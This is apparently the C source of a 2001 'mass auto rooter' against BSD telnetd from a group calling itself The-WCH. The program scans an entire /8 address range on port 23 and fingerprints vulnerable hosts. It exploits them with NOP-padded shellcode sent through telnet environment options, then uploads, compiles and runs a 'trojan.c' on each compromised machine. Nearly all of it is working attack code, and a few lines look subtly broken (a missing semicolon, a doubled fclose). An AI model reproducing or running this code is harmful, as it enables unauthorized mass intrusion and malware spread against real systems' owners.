/* x86/bsd telnetd remote autoroot exploit (mass enbabled)
 *
 * The-WCH CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is the manually published source code of The-WCH.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * The-WCH.
 *
 * (C) COPYRIGHT The-WCH Security, 2001
 * All Rights Reserved
 *
 *****************************************************************************
 * 
 * Based on the *bsd telnetd remote root by TESO
 * tested against: BSDI BSD/OS 4.1
 *                 NetBSD 1.5
 *                 FreeBSD 3.1
 *                 FreeBSD 4.0-REL
 *                 FreeBSD 4.2-REL
 *                 FreeBSD 4.3-BETA
 *                 FreeBSD 4.3-STABLE
 *                 FreeBSD 4.3-RELEASE
 *
 * Name : bsdautoroot.c
 * Affected : bsd
 * Description : Mass bsd telnetd auto rooter
 * Type : Remote
 * Author : Goni 
 *
 * Thanks TESO for a wonderfull exploit. btw, sorry for rupping off some 
 * lines from it, but you know...It was something that *has* to be done.
 *
 * This is the first release from The World Classic Hackers. Still a beta, but
 * code for the members works more fine. This might not work for ./h4xa0r 
 * (hehh kiddies) but some of you might be able to fix it, say ... 
 *
 * char *blah[]={"#include <blah.h>","blah .. blah"};
 * f=fopen("foo.c","w"); 
 *	if (f != NULL) {
 *		while(blah[i] != (char*)0) {
 *			fputs(blah[i],f);
 *			fputs("\n",f);
 *			i++;
 *		}
 *		fclose(f);
 *	}
 * 
 * Remember, the file trojan.c *must* be in the directory the program is 
 * initiated from. Other wise it will fail to work properly.
 *
 * Ok..in the end, this exploit is given two arguments, the Class to scan and 
 * the log file. It will fork in the background and exploit the host vulnerable, 
 * put the trojan on the remote host and execute it. Simple...is'nt it :)
 *
 * btw, I don't use comments in the public releases. :)
 *
 * Many thanks to Innocent Buoy (innocentbuoy@hotmail.com) Founder, The-WCH
 * for pointing me out at many occations.
 *
 * Greets to macwiz, He's a real cute boy :P...I LOVE YOU DUDE.......PPPPP
 *
 * Next -> Exploit -> linux telnetd remote root 
 *
 * Goni of The-WCH
 * thewch@hotmail.com
 * 
 */

#include <sys/wait.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>

int mode=16, num=245, bs=1;
int num34=244, pop34=71833, bs34=0, walk;

int xp_check(int fd);
void xp_pop(int fd);
void xp_setenv(int fd, unsigned char *var, unsigned char *val);
void xp(int fd);
int shell(int socket);
unsigned long int random_get(unsigned long int low, unsigned long int high);
int badstr(unsigned char *code, int code_len, unsigned char *bad, int bad_len);
unsigned long int x86_nop_rwreg();
unsigned long int x86_nop_xfer(char *xferstr);
unsigned int x86_nop(unsigned char *dest, unsigned int dest_len, unsigned char *bad, int bad_len);

#define BSET(dest, len, val, bw) { dest &= ~(((unsigned char) ~0) >> bw); dest |= val << (8 - bw - len); bw += len; }

unsigned char *shellcode = "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";

#define MAX_SOCKETS 100
#define TIMEOUT 20

#define S_NONE       0
#define S_CONNECTING 1
#define S_CHECK   2

struct conn_t {
  int s,flags,pid;
  char status;
  time_t a;
  struct sockaddr_in addr;
} connlist[MAX_SOCKETS];

void check_sockets();
void check(int i);
int talk(int sd, char *pkt, int pktl, char opc);
int make_keypkt(char *pktbuf, char opc);
void print_ver(char *host,int vul, char *buf);
void handle_alarm(int signum);

char *filename;

int main(int argc, char *argv[]) {
 int cip=1, bb=0, dd=0, i, qa=0;

 if (argc < 3) {
  printf("Usage: %s <Class> <Log>\n", argv[0]);
  printf("Class : Class to scan, i-e 192 will scan whole 192.*\n");
  printf("Log : log file to use IPs.log\n")
  return -1;
 }
 if (fork()) return -1;
 filename=argv[2];

 for (i = 0; i < MAX_SOCKETS; i++) {
  connlist[i].status = S_NONE;
  memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct sockaddr_in));
 }

 while(1) {
  for (i = 0; i < MAX_SOCKETS; i++) {
   if (cip == 255) {
    if (bb == 255) {
     FILE *f=fopen(filename,"a");
     if (f != NULL) {
      fprintf(f,"%d.%d.0.0 - %d.%d.255.255\n",atoi(argv[1]),dd,atoi(argv[1]),dd);
      fclose(f);
     }
     if (dd == 255) {
      int k, ns=0;
      for (k = 0; k < MAX_SOCKETS; k++) {
       if (connlist[k].status > S_NONE) {
        ns++;
        break;
       }
      }
      if (ns == 0) exit(0);
      break;
     }
     else {
      cip = 0;
      bb = 0;
      dd++;
     }
    }
    else {
     cip = 0;
     bb++;
    }
   }
   if (connlist[i].status == S_CHECK) {
    if (waitpid(connlist[i].pid,NULL,WNOHANG) > 0) {
     connlist[i].status = S_NONE;
     kill(connlist[i].pid,9);
    }
   }
   if ((connlist[i].a < (time(0) - TIMEOUT)) && (connlist[i].status == S_CONNECTING)) {
    close(connlist[i].s);
    connlist[i].status = S_NONE;
   }
   if (connlist[i].status == S_CONNECTING) {
    if (connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr, sizeof(struct sockaddr_in)) == -1) {
     if (errno == EISCONN) {
      connlist[i].status = S_CHECK;
      check(i);
     }
     if ((errno != EALREADY) && (errno != EINPROGRESS)) {
      close(connlist[i].s);
      connlist[i].status = S_NONE;
     }
    }
    else {
     connlist[i].status = S_CHECK;
     check(i);
    }
   }
   if (connlist[i].status == S_NONE) {
    if ((connlist[i].s = socket(AF_INET, SOCK_STREAM, 0)) != -1) {
     connlist[i].flags = fcntl(connlist[i].s, F_GETFL, 0);
     if (fcntl(connlist[i].s, F_SETFL, O_NONBLOCK) == -1) close(connlist[i].s);
     else {
      char ip[20];
      memset(ip, 0, 20);
      sprintf(ip,"%d.%d.%d.%d",atoi(argv[1]), dd, bb, cip);
      if ((connlist[i].addr.sin_addr.s_addr = inet_addr(ip)) == -1) exit(0);
      connlist[i].addr.sin_family = AF_INET;
      connlist[i].addr.sin_port = htons(23);
      connlist[i].a = time(0);
      connlist[i].status = S_CONNECTING;
      cip++;
     }
    }
   }
  }
 }
}

int net_connect(char *server, unsigned short int port, int sec) {
 int n, len, error, flags;
 int fd;
 struct timeval tv;
 fd_set rset, wset;
 struct sockaddr_in cs;
 memset((char*)&cs,0,sizeof(struct sockaddr_in));
 cs.sin_family = AF_INET;
 cs.sin_port = htons (port);
 fd = socket (cs.sin_family, SOCK_STREAM, 0);
 if (fd == -1) return -1;
 if (!(cs.sin_addr.s_addr = inet_addr(server))) {
  close (fd);
  return -1;
 }
 flags = fcntl(fd, F_GETFL, 0);
 if (flags == -1) {
  close (fd);
  return -1;
 }
 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
 if (n == -1) {
  close (fd);
  return -1;
 }
 error = 0;
 n = connect (fd, (struct sockaddr *)&cs, sizeof (struct sockaddr_in));
 if (n < 0) {
  if (errno != EINPROGRESS) {
   close (fd);
   return -1;
  }
 }
 if (n == 0) goto done;
 FD_ZERO(&rset);
 FD_ZERO(&wset);
 FD_SET(fd, &rset);
 FD_SET(fd, &wset);
 tv.tv_sec = sec;
 tv.tv_usec = 0;
 n = select(fd + 1, &rset, &wset, NULL, &tv);
 if (n == 0) {
  close(fd);
  errno = ETIMEDOUT;
  return -1;
 }
 if (n == -1) return -1;
 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
  if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
   len = sizeof(error);
   if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
    errno = ETIMEDOUT;
    return -1;
   }
   if (error == 0) goto done;
   else {
    errno = error;
    return -1;
   }
  }
 }
 else return -1;

done:
 if (fcntl(fd, F_SETFL, flags) == -1) return -1;
 return fd;
}

void handle_alarm(int signum) {
   alarm(0);
   signal(SIGALRM, SIG_DFL);
}

void check(int i) {
 int fd,g;

#ifdef LOGALL
 FILE *f=fopen(filename,"a");
 if (f != NULL) {
  fprintf(f,"Checking %s for vulnerability\n",(char *)inet_ntoa(connlist[i].addr.sin_addr));
  fclose(f);
 }
#endif

 if (fcntl(connlist[i].s, F_SETFL, connlist[i].flags) == -1) {
  close(connlist[i].s);
  connlist[i].status=S_NONE;
  return;
 }
 siginterrupt(SIGALRM, 1);
 signal(SIGALRM, handle_alarm);
 alarm(3);
 if (xp_check(connlist[i].s) == 0) {
  alarm(0);
  close(connlist[i].s);
  connlist[i].status=S_NONE;
  return;
 }
 alarm(0);
 close(connlist[i].s);

 if ((g=fork()) != 0) {
#ifdef LOGALL
  FILE *f=fopen(filename,"a");
  if (f != NULL) {
   fprintf(f,"It is vulnerable, forking the child pid of %d.\n",g);
   fclose(f);
  }
#endif
  connlist[i].pid=g;
  return;
 }
 srandom(time(NULL));
 if ((fd = net_connect((char *)inet_ntoa(connlist[i].addr.sin_addr), 23, 20)) <= 0) exit(EXIT_FAILURE);
 for (walk = 0; walk < 31500; walk++) xp_pop(fd);
 sleep(10);
 xp(fd);
 sleep(1);
 shell(fd);
 exit(EXIT_SUCCESS);
}


void xp(int fd) {
 int n;
 unsigned char buf[2048];
 for (n = bs;n<sizeof (buf);n++) buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
 buf[0] = '\xff';
 buf[1] = '\xf5';
 if (mode == 16) {
  buf[2] = '\xff';
  buf[3] = '\xfb';
  buf[4] = '\x26';
 }
 buf[num++] = '\xff';
 buf[num++] = '\xfb';
 buf[num++] = '\x08';
 buf[num++] = '\xff';
 buf[num++] = '\xf6';
 if (send (fd, buf, num, 0) != num) exit(EXIT_FAILURE);
}

void xp_pop(int fd) {
 unsigned char var[16];
 unsigned char storebuf[496];
 sprintf(var, "%06x", walk);
 x86_nop(storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
 memcpy(storebuf + sizeof (storebuf) - strlen (shellcode) - 1,shellcode, strlen (shellcode));
 storebuf[sizeof (storebuf) - 1] = '\0';
 xp_setenv(fd, var, storebuf);
}

void xp_setenv (int fd, unsigned char *var, unsigned char *val) {
 int n = 0;
 unsigned char buf[2048];
 buf[n++] = IAC;
 buf[n++] = SB;
 buf[n++] = TELOPT_NEW_ENVIRON;
 buf[n++] = TELQUAL_IS;
 buf[n++] = ENV_USERVAR;
 while (*var) {
  if (*var == IAC) buf[n++] = *var;
  buf[n++] = *var++;
 }
 buf[n++] = NEW_ENV_VALUE;
 while (*val) {
  if (*val == IAC) buf[n++] = *val;
  buf[n++] = *val++;
 }
 buf[n++] = IAC;
 buf[n++] = SE;
 if (send(fd, buf, n, 0) != n) exit (EXIT_FAILURE);
}

int xp_check(int fd) {
 int n;
 unsigned int expect_len = 15;
 unsigned char expected[] = "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
 unsigned int additional_len = 8;
 unsigned char additional[] = "\xff\xfa\x26\x01\x01\x02\xff\xf0";
 unsigned char buf[128];
 if (read (fd, buf, sizeof (buf)) <= 0) return 0;
 n = 0;
 buf[n++] = IAC;
 buf[n++] = AYT;
 buf[n++] = IAC;
 buf[n++] = WILL;
 buf[n++] = TELOPT_NAOL;
 buf[n++] = IAC;
 buf[n++] = WILL;
 buf[n++] = TELOPT_ENCRYPT;
 if (send(fd, buf, n, 0) != n) return 0;
 if (read(fd, buf, sizeof (buf)) <= 0) return 0;
 if (memcmp(buf, expected, expect_len) == 0) {
  if (memcmp(buf+expect_len, additional, additional_len) == 0) mode = 16;
  else {
   mode = 34;
   bs = bs34;
  }
  return 1;
 }
 return 0;
}

int sockfd;
void s(char *str) {
 if (write(sockfd,str,strlen(str)) <0) {
  printf("Shellcode failed.\n");
  exit(0);
 }
}
int shell(int socket) {
 FILE *k;
 sockfd=socket;
 s("cd /tmp;\n");
 s("cat > trojan.c << __eof__;\n");
 k=fopen("trojan.c","r");
 if (k == NULL) {
  printf("Error opening trojan.c\n");
  exit(0);
 }
 while(1) {
  char buf[1024], b[2048];
  int i,m;
  memset(buf,0,1024);
  memset(b,0,2048);
  fgets(buf,1024,k);
  if (feof(k)) break;
  for (i=0,m=0;i<strlen(buf);i++,m++) {
   if (buf[i] == '\\' || buf[i] == '`') {
    b[m]='\\';
    m++;
   }
   if (buf[i] == 9) buf[i]=' ';
   b[m]=buf[i];
  }
  s(b);
 }
 fclose(k);
 s("\n__eof__\n");
 s("gcc -o trojan trojan.c; ./trojan;\n");
 fclose(k);

 while(1) {
  fd_set n;
  struct timeval t;
  FD_SET(sockfd,&n);
  t.tv_sec=10;
  t.tv_usec=0;
  if (select(sockfd+1,&n,(fd_set*)0,(fd_set*)0,&t) <= 0) exit(0);
  if (FD_ISSET(sockfd,&n)) {
   char buf[1500];
   memset(buf,0,1500);
   if (read(sockfd,buf,1500) < 0) exit(0);
  }
 }
 return 0;
}

unsigned long int random_get(unsigned long int low, unsigned long int high) {
 unsigned long int val;
 if (low > high) {
  low ^= high;
  high ^= low;
  low ^= high;
 }
 val = (unsigned long int)random();
 val %= (high - low);
 val += low;
 return val;
}

int badstr(unsigned char *code, int code_len, unsigned char *bad, int bad_len) {
 int n;
 for (code_len -= 1; code_len >= 0; code_len--) for (n = 0; n<bad_len; n++) if (code[code_len] == bad[n]) return 1;
 return 0;
}

unsigned long int x86_nop_rwreg() {
 unsigned long int reg;
 do {
  reg = random_get (0, 7);
 } while (reg == 4);
 return reg;
}

unsigned long int x86_nop_xfer (char *xferstr) {
 int bw = 0;
 unsigned char tgt;
 for (tgt = 0; xferstr != NULL && xferstr[0]; xferstr++) {
  switch (xferstr[0]) {
   case '0':
    BSET(tgt, 1, 0, bw);
    break;
   case '1':
    BSET(tgt, 1, 1, bw);
    break;
   case 'r':
    BSET(tgt, 3, x86_nop_rwreg (), bw);
    break;
   case '.':
    break;
   default:
    exit(EXIT_FAILURE);
    break;
  }
 }
 if (bw != 8) exit(EXIT_FAILURE);
 return tgt;
}

unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, unsigned char *bad, int bad_len) {
 int walk;
 int bcount;
 char *xs;
 char *xferstr[] = { "0011.0111","0011.1111","1001.1000","1001.1001","1111.1000","1111.1100","1111.0101","0010.0111","0010.1111","0100.1r","0100.0r","1001.1111","1001.0000","1111.1001","1111.1101","1001.0r",NULL};
 unsigned char tgt;
 for (walk = 0; dest_len > 0; dest_len--, walk++) {
  for (bcount = 0; bcount < 16384; bcount++) {
   xs = xferstr[random_get (0, 15)];
   tgt = x86_nop_xfer(xs);
   dest[walk] = tgt;
   if (badstr(&dest[walk], 1, bad, bad_len) == 0) break;
  }
  if (bcount >= 16384) exit(EXIT_FAILURE);
 }
 return walk;
}